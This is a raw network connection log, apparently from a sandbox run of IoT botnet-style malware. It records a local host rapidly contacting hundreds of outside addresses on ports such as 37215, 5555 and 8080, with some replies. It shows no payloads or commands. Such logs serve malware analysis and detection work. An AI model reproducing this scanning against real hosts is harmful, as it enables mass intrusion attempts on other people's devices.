Feb 12, 2023 21:25:06.386604071 CET	52981	37215	192.168.2.23	199.40.86.29
Feb 12, 2023 21:25:06.386611938 CET	52981	37215	192.168.2.23	157.117.192.135
Feb 12, 2023 21:25:06.386641026 CET	52981	37215	192.168.2.23	81.83.82.19
Feb 12, 2023 21:25:06.386651993 CET	52981	37215	192.168.2.23	157.193.203.1
Feb 12, 2023 21:25:06.386676073 CET	52981	37215	192.168.2.23	197.142.203.210
Feb 12, 2023 21:25:06.386723042 CET	52981	37215	192.168.2.23	157.139.67.192
Feb 12, 2023 21:25:06.386723995 CET	52981	37215	192.168.2.23	157.187.23.49
Feb 12, 2023 21:25:06.386723042 CET	52981	37215	192.168.2.23	157.117.63.41
Feb 12, 2023 21:25:06.386746883 CET	52981	37215	192.168.2.23	197.110.45.121
Feb 12, 2023 21:25:06.386758089 CET	52981	37215	192.168.2.23	157.238.149.16
Feb 12, 2023 21:25:06.386773109 CET	52981	37215	192.168.2.23	157.225.101.28
Feb 12, 2023 21:25:06.386779070 CET	52981	37215	192.168.2.23	51.111.65.25
Feb 12, 2023 21:25:06.386826992 CET	52981	37215	192.168.2.23	164.74.250.121
Feb 12, 2023 21:25:06.386847019 CET	52981	37215	192.168.2.23	80.112.49.180
Feb 12, 2023 21:25:06.386848927 CET	52981	37215	192.168.2.23	157.80.124.173
Feb 12, 2023 21:25:06.386866093 CET	52981	37215	192.168.2.23	157.100.151.162
Feb 12, 2023 21:25:06.386893988 CET	52981	37215	192.168.2.23	201.36.76.109
Feb 12, 2023 21:25:06.386893988 CET	52981	37215	192.168.2.23	194.224.101.110
Feb 12, 2023 21:25:06.386904001 CET	52981	37215	192.168.2.23	197.4.181.204
Feb 12, 2023 21:25:06.386936903 CET	52981	37215	192.168.2.23	41.215.109.15
Feb 12, 2023 21:25:06.386955023 CET	52981	37215	192.168.2.23	41.73.196.201
Feb 12, 2023 21:25:06.386962891 CET	52981	37215	192.168.2.23	157.5.160.111
Feb 12, 2023 21:25:06.386990070 CET	52981	37215	192.168.2.23	219.39.105.99
Feb 12, 2023 21:25:06.387005091 CET	52981	37215	192.168.2.23	157.239.84.121
Feb 12, 2023 21:25:06.387059927 CET	52981	37215	192.168.2.23	58.96.65.81
Feb 12, 2023 21:25:06.387073994 CET	52981	37215	192.168.2.23	157.161.248.241
Feb 12, 2023 21:25:06.387347937 CET	52981	37215	192.168.2.23	194.119.143.60
Feb 12, 2023 21:25:06.387379885 CET	52981	37215	192.168.2.23	157.25.49.168
Feb 12, 2023 21:25:06.387387037 CET	52981	37215	192.168.2.23	197.62.62.59
Feb 12, 2023 21:25:06.387408972 CET	52981	37215	192.168.2.23	41.81.194.39
Feb 12, 2023 21:25:06.387415886 CET	52981	37215	192.168.2.23	157.34.251.51
Feb 12, 2023 21:25:06.387439966 CET	52981	37215	192.168.2.23	157.228.212.148
Feb 12, 2023 21:25:06.387459040 CET	52981	37215	192.168.2.23	210.32.234.183
Feb 12, 2023 21:25:06.387476921 CET	52981	37215	192.168.2.23	61.220.161.121
Feb 12, 2023 21:25:06.387491941 CET	52981	37215	192.168.2.23	197.145.105.205
Feb 12, 2023 21:25:06.387526035 CET	52981	37215	192.168.2.23	126.178.55.194
Feb 12, 2023 21:25:06.387532949 CET	52981	37215	192.168.2.23	74.159.131.241
Feb 12, 2023 21:25:06.387533903 CET	52981	37215	192.168.2.23	153.132.49.195
Feb 12, 2023 21:25:06.387563944 CET	52981	37215	192.168.2.23	41.48.191.1
Feb 12, 2023 21:25:06.387576103 CET	52981	37215	192.168.2.23	197.97.181.68
Feb 12, 2023 21:25:06.387607098 CET	52981	37215	192.168.2.23	197.28.110.201
Feb 12, 2023 21:25:06.387625933 CET	52981	37215	192.168.2.23	220.46.204.48
Feb 12, 2023 21:25:06.387635946 CET	52981	37215	192.168.2.23	157.27.250.200
Feb 12, 2023 21:25:06.387660980 CET	52981	37215	192.168.2.23	41.197.248.248
Feb 12, 2023 21:25:06.387696028 CET	52981	37215	192.168.2.23	197.58.76.78
Feb 12, 2023 21:25:06.387715101 CET	52981	37215	192.168.2.23	23.64.196.205
Feb 12, 2023 21:25:06.387715101 CET	52981	37215	192.168.2.23	197.195.104.94
Feb 12, 2023 21:25:06.387716055 CET	52981	37215	192.168.2.23	197.28.203.104
Feb 12, 2023 21:25:06.387722969 CET	52981	37215	192.168.2.23	108.69.255.172
Feb 12, 2023 21:25:06.387736082 CET	52981	37215	192.168.2.23	197.51.230.127
Feb 12, 2023 21:25:06.387757063 CET	52981	37215	192.168.2.23	4.54.42.216
Feb 12, 2023 21:25:06.387765884 CET	52981	37215	192.168.2.23	41.231.110.160
Feb 12, 2023 21:25:06.387765884 CET	52981	37215	192.168.2.23	180.140.23.32
Feb 12, 2023 21:25:06.387798071 CET	52981	37215	192.168.2.23	157.247.106.110
Feb 12, 2023 21:25:06.387810946 CET	52981	37215	192.168.2.23	19.246.212.134
Feb 12, 2023 21:25:06.387830019 CET	52981	37215	192.168.2.23	197.35.121.228
Feb 12, 2023 21:25:06.387844086 CET	52981	37215	192.168.2.23	41.221.186.174
Feb 12, 2023 21:25:06.387885094 CET	52981	37215	192.168.2.23	41.240.75.202
Feb 12, 2023 21:25:06.387892962 CET	52981	37215	192.168.2.23	195.91.188.50
Feb 12, 2023 21:25:06.387907982 CET	52981	37215	192.168.2.23	41.68.116.15
Feb 12, 2023 21:25:06.387938976 CET	52981	37215	192.168.2.23	219.93.211.0
Feb 12, 2023 21:25:06.387954950 CET	52981	37215	192.168.2.23	157.2.97.99
Feb 12, 2023 21:25:06.387954950 CET	52981	37215	192.168.2.23	41.15.255.36
Feb 12, 2023 21:25:06.387963057 CET	52981	37215	192.168.2.23	197.65.37.106
Feb 12, 2023 21:25:06.387981892 CET	52981	37215	192.168.2.23	157.130.215.57
Feb 12, 2023 21:25:06.388006926 CET	52981	37215	192.168.2.23	41.167.13.245
Feb 12, 2023 21:25:06.388019085 CET	52981	37215	192.168.2.23	157.188.106.122
Feb 12, 2023 21:25:06.388050079 CET	52981	37215	192.168.2.23	197.214.215.196
Feb 12, 2023 21:25:06.388111115 CET	52981	37215	192.168.2.23	157.43.13.174
Feb 12, 2023 21:25:06.388114929 CET	52981	37215	192.168.2.23	41.98.241.185
Feb 12, 2023 21:25:06.388130903 CET	52981	37215	192.168.2.23	197.57.250.150
Feb 12, 2023 21:25:06.388151884 CET	52981	37215	192.168.2.23	157.251.239.41
Feb 12, 2023 21:25:06.388154984 CET	52981	37215	192.168.2.23	197.137.161.248
Feb 12, 2023 21:25:06.388185978 CET	52981	37215	192.168.2.23	185.127.208.3
Feb 12, 2023 21:25:06.388185978 CET	52981	37215	192.168.2.23	157.233.38.122
Feb 12, 2023 21:25:06.388195038 CET	52981	37215	192.168.2.23	197.25.206.122
Feb 12, 2023 21:25:06.388221979 CET	52981	37215	192.168.2.23	41.16.29.65
Feb 12, 2023 21:25:06.388242006 CET	52981	37215	192.168.2.23	209.137.10.194
Feb 12, 2023 21:25:06.388267994 CET	52981	37215	192.168.2.23	91.156.163.196
Feb 12, 2023 21:25:06.388286114 CET	52981	37215	192.168.2.23	197.129.71.204
Feb 12, 2023 21:25:06.388330936 CET	52981	37215	192.168.2.23	154.240.14.39
Feb 12, 2023 21:25:06.388334036 CET	52981	37215	192.168.2.23	125.48.110.97
Feb 12, 2023 21:25:06.388345003 CET	52981	37215	192.168.2.23	41.59.105.153
Feb 12, 2023 21:25:06.388346910 CET	52981	37215	192.168.2.23	157.19.105.41
Feb 12, 2023 21:25:06.388358116 CET	52981	37215	192.168.2.23	160.114.164.114
Feb 12, 2023 21:25:06.388371944 CET	52981	37215	192.168.2.23	77.98.189.134
Feb 12, 2023 21:25:06.388396025 CET	52981	37215	192.168.2.23	41.75.204.187
Feb 12, 2023 21:25:06.388403893 CET	52981	37215	192.168.2.23	157.4.147.30
Feb 12, 2023 21:25:06.388432026 CET	52981	37215	192.168.2.23	157.14.246.79
Feb 12, 2023 21:25:06.388432026 CET	52981	37215	192.168.2.23	102.50.14.211
Feb 12, 2023 21:25:06.388434887 CET	52981	37215	192.168.2.23	108.49.56.200
Feb 12, 2023 21:25:06.388443947 CET	52981	37215	192.168.2.23	157.200.87.47
Feb 12, 2023 21:25:06.388477087 CET	52981	37215	192.168.2.23	41.240.30.203
Feb 12, 2023 21:25:06.388484955 CET	52981	37215	192.168.2.23	110.81.93.4
Feb 12, 2023 21:25:06.388550043 CET	37202	37215	192.168.2.23	213.151.56.95
Feb 12, 2023 21:25:06.427458048 CET	37215	52981	185.127.208.3	192.168.2.23
Feb 12, 2023 21:25:06.446857929 CET	60526	8080	192.168.2.23	49.55.52.46
Feb 12, 2023 21:25:06.446866035 CET	43532	8080	192.168.2.23	49.52.54.46
Feb 12, 2023 21:25:06.446880102 CET	56378	8080	192.168.2.23	53.54.46.57
Feb 12, 2023 21:25:06.459254026 CET	56438	80	192.168.2.23	49.48.55.46
Feb 12, 2023 21:25:06.478904963 CET	58258	8080	192.168.2.23	50.48.46.50
Feb 12, 2023 21:25:06.478913069 CET	41382	8080	192.168.2.23	53.57.46.50
Feb 12, 2023 21:25:06.478918076 CET	50520	8080	192.168.2.23	50.48.51.46
Feb 12, 2023 21:25:06.478913069 CET	54914	8080	192.168.2.23	52.57.46.49
Feb 12, 2023 21:25:06.478928089 CET	36580	8080	192.168.2.23	53.54.46.52
Feb 12, 2023 21:25:06.478956938 CET	54488	8080	192.168.2.23	51.53.46.50
Feb 12, 2023 21:25:06.478984118 CET	35106	8080	192.168.2.23	55.56.46.51
Feb 12, 2023 21:25:06.483949900 CET	37215	52981	197.4.155.121	192.168.2.23
Feb 12, 2023 21:25:06.494012117 CET	37215	52981	67.85.63.119	192.168.2.23
Feb 12, 2023 21:25:06.496896982 CET	37215	52981	197.9.111.3	192.168.2.23
Feb 12, 2023 21:25:06.574883938 CET	60822	80	192.168.2.23	52.46.56.46
Feb 12, 2023 21:25:06.588211060 CET	37215	52981	197.214.215.196	192.168.2.23
Feb 12, 2023 21:25:06.649864912 CET	37215	52981	112.182.246.13	192.168.2.23
Feb 12, 2023 21:25:06.656199932 CET	37215	52981	190.17.76.63	192.168.2.23
Feb 12, 2023 21:25:06.671015024 CET	46910	5555	192.168.2.23	49.56.57.46
Feb 12, 2023 21:25:06.697606087 CET	37215	52981	197.7.175.70	192.168.2.23
Feb 12, 2023 21:25:06.762068987 CET	41290	81	192.168.2.23	49.53.53.46
Feb 12, 2023 21:25:06.798894882 CET	50052	37215	192.168.2.23	49.57.51.46
Feb 12, 2023 21:25:06.798893929 CET	50610	37215	192.168.2.23	49.48.55.46
Feb 12, 2023 21:25:06.830873013 CET	45484	37215	192.168.2.23	50.48.54.46
Feb 12, 2023 21:25:06.830960989 CET	50908	37215	192.168.2.23	49.52.49.46
Feb 12, 2023 21:25:06.862906933 CET	36828	37215	192.168.2.23	49.49.46.49
Feb 12, 2023 21:25:06.894974947 CET	38202	49152	192.168.2.23	52.46.56.46
Feb 12, 2023 21:25:06.926918983 CET	56284	5555	192.168.2.23	152.30.23.146
Feb 12, 2023 21:25:06.979645014 CET	22272	5555	192.168.2.23	140.140.145.14
Feb 12, 2023 21:25:06.979661942 CET	22272	5555	192.168.2.23	113.37.127.44
Feb 12, 2023 21:25:06.979664087 CET	22272	5555	192.168.2.23	58.0.202.220
Feb 12, 2023 21:25:06.979664087 CET	22272	5555	192.168.2.23	88.85.208.172
Feb 12, 2023 21:25:06.979769945 CET	22272	5555	192.168.2.23	222.157.41.37
Feb 12, 2023 21:25:06.979774952 CET	22272	5555	192.168.2.23	71.41.237.19
Feb 12, 2023 21:25:06.979774952 CET	22272	5555	192.168.2.23	203.205.190.42
Feb 12, 2023 21:25:06.979777098 CET	22272	5555	192.168.2.23	206.113.123.190
Feb 12, 2023 21:25:06.979779005 CET	22272	5555	192.168.2.23	104.231.117.201
Feb 12, 2023 21:25:06.979777098 CET	22272	5555	192.168.2.23	85.15.112.172
Feb 12, 2023 21:25:06.979774952 CET	22272	5555	192.168.2.23	79.221.107.231
Feb 12, 2023 21:25:06.979777098 CET	22272	5555	192.168.2.23	221.35.96.205
Feb 12, 2023 21:25:06.979798079 CET	22272	5555	192.168.2.23	8.67.162.43
Feb 12, 2023 21:25:06.979798079 CET	22272	5555	192.168.2.23	195.29.181.83
Feb 12, 2023 21:25:06.979815006 CET	22272	5555	192.168.2.23	192.58.117.201
Feb 12, 2023 21:25:06.979815006 CET	22272	5555	192.168.2.23	44.28.224.217
Feb 12, 2023 21:25:06.979815006 CET	22272	5555	192.168.2.23	185.64.221.120
Feb 12, 2023 21:25:06.979827881 CET	22272	5555	192.168.2.23	163.51.173.98
Feb 12, 2023 21:25:06.979847908 CET	22272	5555	192.168.2.23	140.226.229.55
Feb 12, 2023 21:25:06.979854107 CET	22272	5555	192.168.2.23	145.182.29.8
Feb 12, 2023 21:25:06.979862928 CET	22272	5555	192.168.2.23	106.215.139.228
Feb 12, 2023 21:25:06.979893923 CET	22272	5555	192.168.2.23	130.198.37.36
Feb 12, 2023 21:25:06.979899883 CET	22272	5555	192.168.2.23	4.66.207.152
Feb 12, 2023 21:25:06.979907990 CET	22272	5555	192.168.2.23	32.53.254.247
Feb 12, 2023 21:25:06.979899883 CET	22272	5555	192.168.2.23	90.244.153.212
Feb 12, 2023 21:25:06.979899883 CET	22272	5555	192.168.2.23	222.198.64.49
Feb 12, 2023 21:25:06.979901075 CET	22272	5555	192.168.2.23	197.191.64.102
Feb 12, 2023 21:25:06.979901075 CET	22272	5555	192.168.2.23	100.3.232.3
Feb 12, 2023 21:25:06.979901075 CET	22272	5555	192.168.2.23	123.12.163.165
Feb 12, 2023 21:25:06.979901075 CET	22272	5555	192.168.2.23	75.37.44.129
Feb 12, 2023 21:25:06.979922056 CET	22272	5555	192.168.2.23	91.191.224.164
Feb 12, 2023 21:25:06.979981899 CET	22272	5555	192.168.2.23	59.119.44.159
Feb 12, 2023 21:25:06.980001926 CET	22272	5555	192.168.2.23	213.151.173.18
Feb 12, 2023 21:25:06.980010033 CET	22272	5555	192.168.2.23	203.228.71.248
Feb 12, 2023 21:25:06.980010033 CET	22272	5555	192.168.2.23	134.124.119.75
Feb 12, 2023 21:25:06.980024099 CET	22272	5555	192.168.2.23	85.19.181.132
Feb 12, 2023 21:25:06.980066061 CET	22272	5555	192.168.2.23	45.125.16.244
Feb 12, 2023 21:25:06.980074883 CET	22272	5555	192.168.2.23	125.255.80.8
Feb 12, 2023 21:25:06.980088949 CET	22272	5555	192.168.2.23	111.66.223.249
Feb 12, 2023 21:25:06.980110884 CET	22272	5555	192.168.2.23	73.101.111.201
Feb 12, 2023 21:25:06.980123997 CET	22272	5555	192.168.2.23	163.105.14.201
Feb 12, 2023 21:25:06.980138063 CET	22272	5555	192.168.2.23	183.71.37.99
Feb 12, 2023 21:25:06.980182886 CET	22272	5555	192.168.2.23	146.108.211.95
Feb 12, 2023 21:25:06.980190992 CET	22272	5555	192.168.2.23	106.200.198.9
Feb 12, 2023 21:25:06.980247974 CET	22272	5555	192.168.2.23	145.53.72.92
Feb 12, 2023 21:25:06.980247974 CET	22272	5555	192.168.2.23	17.135.189.44
Feb 12, 2023 21:25:06.980248928 CET	22272	5555	192.168.2.23	189.215.230.190
Feb 12, 2023 21:25:06.980248928 CET	22272	5555	192.168.2.23	90.249.138.38
Feb 12, 2023 21:25:06.980251074 CET	22272	5555	192.168.2.23	134.59.241.132
Feb 12, 2023 21:25:06.980256081 CET	22272	5555	192.168.2.23	94.191.201.163
Feb 12, 2023 21:25:06.980272055 CET	22272	5555	192.168.2.23	100.229.172.199
Feb 12, 2023 21:25:06.980300903 CET	22272	5555	192.168.2.23	164.236.6.149
Feb 12, 2023 21:25:06.980312109 CET	22272	5555	192.168.2.23	189.71.173.134
Feb 12, 2023 21:25:06.980340004 CET	22272	5555	192.168.2.23	129.163.45.138
Feb 12, 2023 21:25:06.980379105 CET	22272	5555	192.168.2.23	160.119.72.88
Feb 12, 2023 21:25:06.980380058 CET	22272	5555	192.168.2.23	79.138.188.185
Feb 12, 2023 21:25:06.980384111 CET	22272	5555	192.168.2.23	44.98.5.169
Feb 12, 2023 21:25:06.980422020 CET	22272	5555	192.168.2.23	8.176.113.211
Feb 12, 2023 21:25:06.980422974 CET	22272	5555	192.168.2.23	134.227.71.36
Feb 12, 2023 21:25:06.980422974 CET	22272	5555	192.168.2.23	41.50.14.168
Feb 12, 2023 21:25:06.980424881 CET	22272	5555	192.168.2.23	133.20.3.22
Feb 12, 2023 21:25:06.980448008 CET	22272	5555	192.168.2.23	194.214.184.234
Feb 12, 2023 21:25:06.980460882 CET	22272	5555	192.168.2.23	93.1.22.245
Feb 12, 2023 21:25:06.980489969 CET	22272	5555	192.168.2.23	75.241.147.249
Feb 12, 2023 21:25:06.980499983 CET	22272	5555	192.168.2.23	196.140.61.23
Feb 12, 2023 21:25:06.980593920 CET	22272	5555	192.168.2.23	170.114.176.45
Feb 12, 2023 21:25:06.980624914 CET	22272	5555	192.168.2.23	92.229.156.167
Feb 12, 2023 21:25:06.980626106 CET	22272	5555	192.168.2.23	18.49.180.60
Feb 12, 2023 21:25:06.980626106 CET	22272	5555	192.168.2.23	158.250.11.120
Feb 12, 2023 21:25:06.980626106 CET	22272	5555	192.168.2.23	108.199.134.104
Feb 12, 2023 21:25:06.980631113 CET	22272	5555	192.168.2.23	60.160.220.54
Feb 12, 2023 21:25:06.980631113 CET	22272	5555	192.168.2.23	66.81.179.82
Feb 12, 2023 21:25:06.980649948 CET	22272	5555	192.168.2.23	192.174.22.145
Feb 12, 2023 21:25:06.980652094 CET	22272	5555	192.168.2.23	185.214.197.195
Feb 12, 2023 21:25:06.980652094 CET	22272	5555	192.168.2.23	168.241.64.110
Feb 12, 2023 21:25:06.980664968 CET	22272	5555	192.168.2.23	130.56.15.157
Feb 12, 2023 21:25:06.980664015 CET	22272	5555	192.168.2.23	173.41.38.101
Feb 12, 2023 21:25:06.980671883 CET	22272	5555	192.168.2.23	52.17.246.234
Feb 12, 2023 21:25:06.980734110 CET	22272	5555	192.168.2.23	100.33.83.59
Feb 12, 2023 21:25:06.980760098 CET	22272	5555	192.168.2.23	90.52.98.150
Feb 12, 2023 21:25:06.980773926 CET	22272	5555	192.168.2.23	188.132.38.226
Feb 12, 2023 21:25:06.980802059 CET	22272	5555	192.168.2.23	81.78.79.43
Feb 12, 2023 21:25:06.980834007 CET	22272	5555	192.168.2.23	79.111.244.160
Feb 12, 2023 21:25:06.980834007 CET	22272	5555	192.168.2.23	158.74.194.17
Feb 12, 2023 21:25:06.980844975 CET	22272	5555	192.168.2.23	125.167.32.18
Feb 12, 2023 21:25:06.980850935 CET	22272	5555	192.168.2.23	108.252.173.28
Feb 12, 2023 21:25:06.980885029 CET	22272	5555	192.168.2.23	150.32.66.190
Feb 12, 2023 21:25:06.980917931 CET	22272	5555	192.168.2.23	190.74.252.210
Feb 12, 2023 21:25:06.980918884 CET	22272	5555	192.168.2.23	95.144.236.123
Feb 12, 2023 21:25:06.980921030 CET	22272	5555	192.168.2.23	176.8.122.230
Feb 12, 2023 21:25:06.980927944 CET	22272	5555	192.168.2.23	9.102.22.7
Feb 12, 2023 21:25:06.980937004 CET	22272	5555	192.168.2.23	220.97.57.255
Feb 12, 2023 21:25:06.980966091 CET	22272	5555	192.168.2.23	81.224.246.104
Feb 12, 2023 21:25:06.981005907 CET	22272	5555	192.168.2.23	86.20.244.232
Feb 12, 2023 21:25:06.981025934 CET	22272	5555	192.168.2.23	52.106.86.171
Feb 12, 2023 21:25:06.981045961 CET	22272	5555	192.168.2.23	116.40.193.157
Feb 12, 2023 21:25:06.981054068 CET	22272	5555	192.168.2.23	146.163.114.158
Feb 12, 2023 21:25:06.981095076 CET	22272	5555	192.168.2.23	218.110.224.174
Feb 12, 2023 21:25:06.981125116 CET	22272	5555	192.168.2.23	108.52.152.215
Feb 12, 2023 21:25:06.981134892 CET	22272	5555	192.168.2.23	156.167.178.210
Feb 12, 2023 21:25:06.981141090 CET	22272	5555	192.168.2.23	116.109.224.166
Feb 12, 2023 21:25:06.981173038 CET	22272	5555	192.168.2.23	180.213.13.219
Feb 12, 2023 21:25:06.981184006 CET	22272	5555	192.168.2.23	81.19.43.153
Feb 12, 2023 21:25:06.981215000 CET	22272	5555	192.168.2.23	80.221.57.144
Feb 12, 2023 21:25:06.981242895 CET	22272	5555	192.168.2.23	48.113.201.71
Feb 12, 2023 21:25:06.981266975 CET	22272	5555	192.168.2.23	4.22.76.92
Feb 12, 2023 21:25:06.981293917 CET	22272	5555	192.168.2.23	94.109.172.28
Feb 12, 2023 21:25:06.981307983 CET	22272	5555	192.168.2.23	101.98.99.56
Feb 12, 2023 21:25:06.981334925 CET	22272	5555	192.168.2.23	157.115.48.94
Feb 12, 2023 21:25:06.981369972 CET	22272	5555	192.168.2.23	83.174.29.223
Feb 12, 2023 21:25:06.981381893 CET	22272	5555	192.168.2.23	37.114.32.31
Feb 12, 2023 21:25:06.981429100 CET	22272	5555	192.168.2.23	158.255.156.228
Feb 12, 2023 21:25:06.981432915 CET	22272	5555	192.168.2.23	91.21.184.144
Feb 12, 2023 21:25:06.981451035 CET	22272	5555	192.168.2.23	48.38.64.5
Feb 12, 2023 21:25:06.981472969 CET	22272	5555	192.168.2.23	124.54.145.4
Feb 12, 2023 21:25:06.981482983 CET	22272	5555	192.168.2.23	199.229.179.35
Feb 12, 2023 21:25:06.981506109 CET	22272	5555	192.168.2.23	106.162.122.115
Feb 12, 2023 21:25:06.981518984 CET	22272	5555	192.168.2.23	12.74.212.165
Feb 12, 2023 21:25:06.981559038 CET	22272	5555	192.168.2.23	78.202.85.233
Feb 12, 2023 21:25:06.981568098 CET	22272	5555	192.168.2.23	202.150.132.155
Feb 12, 2023 21:25:06.981599092 CET	22272	5555	192.168.2.23	32.241.212.160
Feb 12, 2023 21:25:06.981618881 CET	22272	5555	192.168.2.23	190.215.251.11
Feb 12, 2023 21:25:06.981646061 CET	22272	5555	192.168.2.23	167.148.84.217
Feb 12, 2023 21:25:06.981648922 CET	22272	5555	192.168.2.23	142.201.245.155
Feb 12, 2023 21:25:06.981678009 CET	22272	5555	192.168.2.23	131.183.38.11
Feb 12, 2023 21:25:06.981699944 CET	22272	5555	192.168.2.23	128.74.251.69
Feb 12, 2023 21:25:06.981718063 CET	22272	5555	192.168.2.23	163.42.110.144
Feb 12, 2023 21:25:06.981730938 CET	22272	5555	192.168.2.23	138.25.152.239
Feb 12, 2023 21:25:06.981745005 CET	22272	5555	192.168.2.23	92.87.244.8
Feb 12, 2023 21:25:06.981787920 CET	22272	5555	192.168.2.23	109.12.190.39
Feb 12, 2023 21:25:06.981815100 CET	22272	5555	192.168.2.23	175.247.88.54
Feb 12, 2023 21:25:06.981815100 CET	22272	5555	192.168.2.23	213.213.220.188
Feb 12, 2023 21:25:06.981854916 CET	22272	5555	192.168.2.23	40.168.93.200
Feb 12, 2023 21:25:06.981863976 CET	22272	5555	192.168.2.23	209.95.169.218
Feb 12, 2023 21:25:06.981897116 CET	22272	5555	192.168.2.23	192.16.222.6
Feb 12, 2023 21:25:06.981897116 CET	22272	5555	192.168.2.23	174.15.213.99
Feb 12, 2023 21:25:06.981909037 CET	22272	5555	192.168.2.23	185.52.7.253
Feb 12, 2023 21:25:06.981933117 CET	22272	5555	192.168.2.23	145.38.191.61
Feb 12, 2023 21:25:06.981961012 CET	22272	5555	192.168.2.23	68.192.122.203
Feb 12, 2023 21:25:06.981980085 CET	22272	5555	192.168.2.23	159.23.217.56
Feb 12, 2023 21:25:06.982004881 CET	22272	5555	192.168.2.23	50.203.99.160
Feb 12, 2023 21:25:06.982004881 CET	22272	5555	192.168.2.23	95.196.135.0
Feb 12, 2023 21:25:06.982018948 CET	22272	5555	192.168.2.23	191.116.19.223
Feb 12, 2023 21:25:06.982047081 CET	22272	5555	192.168.2.23	91.233.183.218
Feb 12, 2023 21:25:06.982064962 CET	22272	5555	192.168.2.23	102.97.12.203
Feb 12, 2023 21:25:06.982078075 CET	22272	5555	192.168.2.23	156.66.82.25
Feb 12, 2023 21:25:06.982100964 CET	22272	5555	192.168.2.23	187.62.73.1
Feb 12, 2023 21:25:06.982110023 CET	22272	5555	192.168.2.23	14.231.109.162
Feb 12, 2023 21:25:06.982139111 CET	22272	5555	192.168.2.23	76.88.8.112
Feb 12, 2023 21:25:06.982165098 CET	22272	5555	192.168.2.23	192.41.41.148
Feb 12, 2023 21:25:06.982188940 CET	22272	5555	192.168.2.23	206.97.221.126
Feb 12, 2023 21:25:06.982223988 CET	22272	5555	192.168.2.23	133.79.209.128
Feb 12, 2023 21:25:06.982249975 CET	22272	5555	192.168.2.23	143.141.187.143
Feb 12, 2023 21:25:06.982270956 CET	22272	5555	192.168.2.23	98.117.93.44
Feb 12, 2023 21:25:06.982289076 CET	22272	5555	192.168.2.23	45.31.211.241
Feb 12, 2023 21:25:06.982312918 CET	22272	5555	192.168.2.23	76.241.49.197
Feb 12, 2023 21:25:06.982336998 CET	22272	5555	192.168.2.23	170.113.118.183
Feb 12, 2023 21:25:06.982346058 CET	22272	5555	192.168.2.23	71.101.109.139
Feb 12, 2023 21:25:06.982386112 CET	22272	5555	192.168.2.23	195.86.18.3
Feb 12, 2023 21:25:06.982391119 CET	22272	5555	192.168.2.23	157.93.26.182
Feb 12, 2023 21:25:07.008363008 CET	5555	22272	37.114.32.31	192.168.2.23
Feb 12, 2023 21:25:07.042201042 CET	5555	22272	158.250.11.120	192.168.2.23
Feb 12, 2023 21:25:07.060725927 CET	5555	22272	91.233.183.218	192.168.2.23
Feb 12, 2023 21:25:07.064524889 CET	50970	80	192.168.2.23	49.53.53.46
Feb 12, 2023 21:25:07.091445923 CET	5555	22272	68.192.122.203	192.168.2.23
Feb 12, 2023 21:25:07.150897980 CET	42104	7574	192.168.2.23	49.48.55.46
Feb 12, 2023 21:25:07.182931900 CET	53024	37215	192.168.2.23	41.152.40.105
Feb 12, 2023 21:25:07.182931900 CET	53274	37215	192.168.2.23	197.199.51.85
Feb 12, 2023 21:25:07.182979107 CET	40274	37215	192.168.2.23	77.131.0.7
Feb 12, 2023 21:25:07.183125019 CET	33922	8080	192.168.2.23	52.46.56.46
Feb 12, 2023 21:25:07.238543034 CET	5555	22272	190.215.251.11	192.168.2.23
Feb 12, 2023 21:25:07.244762897 CET	5555	22272	175.247.88.54	192.168.2.23
Feb 12, 2023 21:25:07.252023935 CET	5555	22272	45.125.16.244	192.168.2.23
Feb 12, 2023 21:25:07.367840052 CET	57068	49152	192.168.2.23	49.53.53.46
Feb 12, 2023 21:25:07.374826908 CET	50072	37215	192.168.2.23	197.195.75.157
Feb 12, 2023 21:25:07.389913082 CET	52981	37215	192.168.2.23	41.243.200.252
Feb 12, 2023 21:25:07.389930964 CET	52981	37215	192.168.2.23	197.129.124.21
Feb 12, 2023 21:25:07.389930964 CET	52981	37215	192.168.2.23	41.214.147.134
Feb 12, 2023 21:25:07.389940977 CET	52981	37215	192.168.2.23	197.141.207.148
Feb 12, 2023 21:25:07.389957905 CET	52981	37215	192.168.2.23	41.105.192.51
Feb 12, 2023 21:25:07.389981985 CET	52981	37215	192.168.2.23	157.210.185.193
Feb 12, 2023 21:25:07.389981985 CET	52981	37215	192.168.2.23	157.65.96.101
Feb 12, 2023 21:25:07.389981985 CET	52981	37215	192.168.2.23	41.220.146.43
Feb 12, 2023 21:25:07.390002012 CET	52981	37215	192.168.2.23	92.101.54.87
Feb 12, 2023 21:25:07.390038967 CET	52981	37215	192.168.2.23	197.118.238.97
Feb 12, 2023 21:25:07.390043974 CET	52981	37215	192.168.2.23	167.252.161.159
Feb 12, 2023 21:25:07.390052080 CET	52981	37215	192.168.2.23	88.84.43.148
Feb 12, 2023 21:25:07.390050888 CET	52981	37215	192.168.2.23	41.152.144.68
Feb 12, 2023 21:25:07.390058041 CET	52981	37215	192.168.2.23	157.51.35.196
Feb 12, 2023 21:25:07.390058041 CET	52981	37215	192.168.2.23	113.228.218.180
Feb 12, 2023 21:25:07.390058041 CET	52981	37215	192.168.2.23	173.65.235.149
Feb 12, 2023 21:25:07.390060902 CET	52981	37215	192.168.2.23	41.100.140.48
Feb 12, 2023 21:25:07.390074968 CET	52981	37215	192.168.2.23	192.162.25.66
Feb 12, 2023 21:25:07.390132904 CET	52981	37215	192.168.2.23	157.7.138.4
Feb 12, 2023 21:25:07.390134096 CET	52981	37215	192.168.2.23	41.11.198.17
Feb 12, 2023 21:25:07.390137911 CET	52981	37215	192.168.2.23	197.53.74.72
Feb 12, 2023 21:25:07.390137911 CET	52981	37215	192.168.2.23	42.220.50.161
Feb 12, 2023 21:25:07.390166998 CET	52981	37215	192.168.2.23	157.150.45.164
Feb 12, 2023 21:25:07.390176058 CET	52981	37215	192.168.2.23	197.33.182.150
Feb 12, 2023 21:25:07.390187979 CET	52981	37215	192.168.2.23	41.227.167.254
Feb 12, 2023 21:25:07.390213013 CET	52981	37215	192.168.2.23	197.86.234.215
Feb 12, 2023 21:25:07.390228033 CET	52981	37215	192.168.2.23	197.57.138.159
Feb 12, 2023 21:25:07.390250921 CET	52981	37215	192.168.2.23	157.181.53.113
Feb 12, 2023 21:25:07.390259027 CET	52981	37215	192.168.2.23	41.49.17.190
Feb 12, 2023 21:25:07.390281916 CET	52981	37215	192.168.2.23	184.150.93.99
Feb 12, 2023 21:25:07.390281916 CET	52981	37215	192.168.2.23	51.215.116.180
Feb 12, 2023 21:25:07.390301943 CET	52981	37215	192.168.2.23	197.167.146.117
Feb 12, 2023 21:25:07.390310049 CET	52981	37215	192.168.2.23	157.42.180.25
Feb 12, 2023 21:25:07.390316010 CET	52981	37215	192.168.2.23	157.202.109.251
